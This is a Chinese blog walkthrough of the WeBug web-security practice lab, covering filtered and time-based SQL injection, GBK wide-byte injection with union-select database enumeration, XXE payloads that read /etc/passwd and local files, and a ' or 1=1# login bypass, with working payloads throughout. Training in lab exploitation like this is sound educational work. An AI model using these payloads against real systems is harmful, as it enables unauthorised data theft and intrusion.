之前是分散的把前几篇写了,但是我觉得汇总起来看起来比较方便,就把前几关的链接贴过来:
1 显错注入
https://blog.csdn.net/qq_44108455/article/details/106026259
2 布尔注入
https://blog.csdn.net/qq_44108455/article/details/106026437
3 延时注入
https://blog.csdn.net/qq_44108455/article/details/106041226
4 post注入
https://blog.csdn.net/qq_44108455/article/details/106127084
5 过滤注入
如果只输入select就会提示不要输入危险函数,当select后面加上其他语句的时候又可以查询
本题依旧可以采用延时的方法,和上一关的步骤一模一样,只是最后一步有差别:
1' or if(left((select EnvFlag from env_list where id=5),14)='safsafasdfasdf ',sleep(3),1)#
6 宽字节注入
宽字节注入原理:
GBK是一种多字符编码,一个汉字占2个字节,utf-8编码的汉字占3个字节。
addslashes() 函数会对括号里 (’) 、(")、 ()、 (NULL)、的四个字符添加反斜杠并将其返回。
Mysql有一个特性,在进行GBK编码时会将两个字符认为一个汉字(前提是第一个字符的ASCII大于128才能达到汉字范围)。
如果SQL输入经过了addslashes() 函数处理,我们输入’ 时 会变成 \’。一般绕过的方法有两种
- 将 ’ 前面的 斜杠 进行转义 \’ 这样单引号就能绕过,逃逸出来
- 想办法去掉前面的\
看到网址尝试在后面添加单引号,但是页面并没有什么变化,因为已经知道是宽字节注入,所以添加%df’
页面报错了:
可以看到单引号 ’ 变成了 ’ %df没有显示出来,但我们知道%df转化成10进制是223 大于128,与后面反斜杠 \ 的16进制%5c 合成一个汉字,使得单引号逃逸出来。这也是上面说的第2个方法。
开始注入:
1.爆出字段数是2
?id=1%df' order by 2--+
- 爆出所有数据库名:
?id=1%df' union select 1,schema_name from information_schema.schemata --+
数据库名字:information_schema,challenges,mysql,performance_schema,security,test,webug,webug_sys,webug_width_byte
3.爆数据库webug下的表:webug转为十六进制为0x7765627567
?id=1%df' union select 1,table_name from information_schema.tables where table_schema=0x7765627567--+
webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
- 爆出env_list 表的列:env_list对应的十六进制为0x656e765f6c697374
?id=1%df' union select 1,column_name from information_schema.columns where table_name=0x656e765f6c697374--+
env_list的表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
5,爆出此题flag
?id=1%df' union select 1,envFlag from webug.env_list where id=6--+
得到flag!
参考链接:https://www.cnblogs.com/yuuki-aptx/p/10548307.html
7 xxe注入
xxe漏洞产生原因是什么
允许引用外部实体时,如php中libxml_disable_entity_loader当设置为true时,就可以禁用外部实体。
输入admin,登陆进去,
发现是输入什么就传入什么内容
任意文件读取
直接在登陆的地方输入
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<test>
<wsw>&xxe;</wsw>
</test>
说明存在xml注入漏洞,至于找flag,好像需要自己创建一个flag的文本,然后就可以通过文件包含漏洞得到flag,可以这样构造payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///c:/1.txt">
]>
<note>
<name>&content;</name>
</note>
由于存在换行,也所以转化为URL编码:
%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%6f%6e%74%65%6e%74%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%63%3a%2f%31%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%6e%6f%74%65%3e%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%63%6f%6e%74%65%6e%74%3b%3c%2f%6e%61%6d%65%3e%0a%3c%2f%6e%6f%74%65%3e%20%20%20%20%20
由于环境没有搭建在本机,暂时就不尝试创建那个文件,所以不能得到flag
8 csv注入
这道题啥也看不到,也不能导出,有点鸡肋!
有回显,我们仔细观察object(DOMDocument) #4 (34) 明显是php操作xml
我们再输入其他值 发现无论输入啥回显都是这个。
我们使用burp抓包:
参考链接:https://blog.csdn.net/nex1less/article/details/100009134
11 万能密码登陆
之所以会发生万能密码登陆,是因为:
$sql = "SELECT * FROM user WHERE username = '{$username}' AND password = '{$password}'";
$res = $dbConnect->query($sql);
于是我们可以构造username的值,使得前面的判断为真,而且注释掉后面的内容
可以输入 ' or 1=1#
登录之后就有flag